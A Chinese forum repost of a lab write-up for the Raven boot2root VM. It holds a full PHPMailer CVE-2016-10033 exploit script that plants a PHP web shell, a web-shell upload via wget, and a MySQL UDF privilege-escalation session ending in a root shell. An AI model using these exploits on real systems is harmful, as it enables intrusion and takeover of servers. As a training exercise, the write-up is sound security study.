请选择 进入手机版 | 继续访问电脑版

渗透测试作业

[复制链接]
舞鴐雲腾 发表于 2020-12-31 19:21:18 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
Raven:靶机下载:https://pan.baidu.com/s/18p0Jir7eH0BL1Na_6ybRtg
time: 2019-6
ip所在扫描

使用kali下arp-scan -l扫出ip

服务器,这也不知道账号暗码,所以无法确定其Ip所在,因为处于vm中和其他虚拟机一个段,扫描存活主机。

发现有四台存活主机,实验发现192.168.198.137是改网站ip。
还可以用nmap去扫描


端口扫描


可以看到开放端口,远程毗连和一个web服务。以web服务为突破口进行目次扫描
敏感目次扫描


发现敏感目次,打开vendor,未克制目次列表访问。

别的在192.168.198.137/service.html改页面发现了第一个flag

PHPMailer–CVE-2016-10033

其中通过访问vendor目次发现PHPMailerAutoload.php文件,查询后发现CVE-2016-10033是PHPMailer中存在的高危安全毛病,攻击者只需巧妙地构造出一个恶意邮箱所在,即可写入任意文件,造成远程下令执行的危害。
因为该毛病:PHPMailer < 5.2.18 CVE-2016-10033
exp:https://www.exploit-db.com/exploits/40974
查看其版本号

共同起来看应该是使用了5.2.16版本的PHPMailer。

查看下脚本

也可以用上面的exp所在。
完整exp
  1. # -*- coding: utf-8 -*-from requests_toolbelt import MultipartEncoderimport requestsimport osimport base64from lxml import html as lhos.system(&#39;clear&#39;)print("\n")print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")print("██╔══██╗████╗██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")print("██║██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")print("╚═╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝")print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")target = &#39;http://192.168.198.137/contact.php&#39;  # 目的主机backdoor = &#39;/BerL1n.php&#39;# payload = &#39;&#39;payload = &#39;&#39;fields={&#39;action&#39;: &#39;submit&#39;,   &#39;name&#39;: payload,   &#39;email&#39;: &#39;"anarcoder\\" -OQueueDirectory=/tmp -X/var/www/html/BerL1n.php server" @protonmail.com&#39;,   &#39;message&#39;: &#39;Pwned&#39;}m = MultipartEncoder(fields=fields,                     boundary=&#39;----WebKitFormBoundaryzXJpHSq4mNy35tHe&#39;)headers={&#39;User-Agent&#39;: &#39;curl/7.47.0&#39;,         &#39;Content-Type&#39;: m.content_type}proxies = {&#39;http&#39;: &#39;localhost:8081&#39;, &#39;https&#39;:&#39;localhost:8081&#39;}print(&#39;[+] SeNdiNG eVIl SHeLL To TaRGeT....&#39;)r = requests.post(target, data=m.to_string(), headers=headers)print(&#39;[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D&#39;)r = requests.get(target+backdoor, headers=headers)if r.status_code == 200:    print(&#39;[+]ExPLoITeD &#39; + target)
复制代码

访问contact.php(http://192.168.198.137/contact.php),此时就会生成后门文件BerL1n.php


进入终端

www下发现第二个flag
上传php大马,这里直接传在自己主机下的txt文件,然后wget下载下来。

查看数据库,在wordpress —> wp_posts下发现flag3

mysql-UDF提权

在wordpress的wp_config.php里找到mysql的账户暗码

使用netstat -a发现mysql服务启动

查看进程发现mysql是以root权限运行的,此时想到了mysql提权,这里以udf提权为例
查询到mysql udf提权exp编号为1518,拷贝exp到当地/var/www/html

也可用exp:https://www.exploit-db.com/exploits/1518
编译生成动态链接库文件,上传至靶机
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc


提权
  1. mysql> show databases;show databases;+--------------------+| Database           |+--------------------+| information_schema || mysql              || performance_schema || wordpress          |+--------------------+4 rows in set (0.22 sec)mysql> use wordpressuse wordpressReading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> create table foo(line blob);create table foo(line blob);Query OK, 0 rows affected (0.43 sec)mysql> insert into foo values(load_file(&#39;/var/www/html/1518.so&#39;));insert into foo values(load_file(&#39;/var/www/html/1518.so&#39;));Query OK, 1 row affected (0.10 sec)mysql> select * from foo into dumpfile &#39;/usr/lib/mysql/plugin/1518.so&#39;;select * from foo into dumpfile &#39;/usr/lib/mysql/plugin/1518.so&#39;;Query OK, 1 row affected (0.06 sec)mysql> create function do_system returns integer soname &#39;1518.so&#39;;create function do_system returns integer soname &#39;1518.so&#39;;Query OK, 0 rows affected (0.10 sec)mysql> select * from mysql.func;select * from mysql.func;+-----------+-----+---------+----------+| name      | ret | dl      | type     |+-----------+-----+---------+----------+| do_system |   2 | 1518.so | function |+-----------+-----+---------+----------+1 row in set (0.00 sec)mysql> select do_system(&#39;chmod u+s /usr/bin/find&#39;);select do_system(&#39;chmod u+s /usr/bin/find&#39;);+--------------------------------------+| do_system(&#39;chmod u+s /usr/bin/find&#39;) |+--------------------------------------+|                                    0 |+--------------------------------------+1 row in set (0.02 sec)mysql> quitquitByewww-data@Raven:/var/www/html$ touch footouch foowww-data@Raven:/var/www/html$ find foo -exec &#39;whoami&#39; \;find foo -exec &#39;whoami&#39; \;rootwww-data@Raven:/var/www/html$ find foo -exec &#39;/bin/sh&#39; \;find foo -exec &#39;/bin/sh&#39; \;# whoamiwhoamiroot# pwdpwd/var/www/html# cd /rootcd /root# lslsflag4.txt# cat flag4.txtcat flag4.txt______| ___ \| |_/ /__ ___   _____ _ __|    // _` \ \ / / _ \ &#39;_ \| |\ \ (_| |\ V /  __/ | | |\_| \_\__,_| \_/ \___|_| |_|flag4{715dea6c055b9fe3337544932f2941ce}CONGRATULATIONS on successfully rooting Raven!This is my first Boot2Root VM - I hope you enjoyed it.Hit me up on Twitter and let me know what you thought:
复制代码

这里不知道为什么不回显mysql效果,不外不影响执行,竣事后会回显效果。
下令执行后看到返回为0,体现已乐成。


乐成提权为root。

来源:https://blog.csdn.net/qq_41107295/article/details/103700491
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

发布主题

专注素材教程免费分享
全国免费热线电话

18768367769

周一至周日9:00-23:00

反馈建议

27428564@qq.com 在线QQ咨询

扫描二维码关注我们

Powered by Discuz! X3.4© 2001-2013 Comsenz Inc.( 蜀ICP备2021001884号-1 )